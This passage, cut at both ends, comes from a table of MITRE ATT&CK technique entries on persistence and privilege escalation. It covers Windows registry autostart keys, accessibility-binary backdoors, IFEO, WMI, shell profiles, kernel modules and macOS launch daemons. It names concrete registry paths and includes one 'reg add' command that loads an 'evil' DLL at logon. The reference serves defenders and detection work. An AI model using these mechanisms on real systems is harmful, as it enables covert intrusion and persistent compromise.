in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.\nT1547.006 | Kernel Modules and Extensions | Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)\u00a0\n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide)\u00a0Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)\nT1547.005 | Security Support Provider | Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\nT1547.004 | Winlogon Helper DLL | Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.\nT1547.003 | Time Providers | Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)\nT1546.014 | Emond | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.\nT1546.013 | PowerShell Profile | Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (profile.ps1) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001) starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several profiles depending on the user or host program. For example, there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001) host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer. (Citation: Microsoft About Profiles) \n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001) drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001) session the modified script will be executed unless the -NoProfile flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019) \n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)\nT1546.012 | Image File Execution Options Injection | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)\nT1546.011 | Application Shimming | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.\nT1547.002 | Authentication Package | Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ with the key value of \"Authentication Packages\"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded.\nT1546.010 | AppInit DLLs | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\nT1546.009 | AppCert DLLs | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. \nT1546.008 | Accessibility Features | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe\nT1546.007 | Netsh Helper DLL | Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)\nT1546.006 | LC_LOAD_DYLIB Addition | Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)\nT1546.005 | Trap | Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)\nT1546.004 | Unix Shell Configuration Modification | Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.\nT1546.003 | Windows Management Instrumentation Event Subscription | Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.\nT1546.002 | Screensaver | Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations.\n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)\nT1546.001 | Change Default File Association | Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)\nT1547.001 | Registry Run Keys / Startup Folder | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.\nT1547 | Boot or Logon Autostart Execution | Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.\nT1546 | Event Triggered Execution | Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. \nT1543.004 | Launch Daemon | Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)\nT1543.003 | Windows Service | Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) 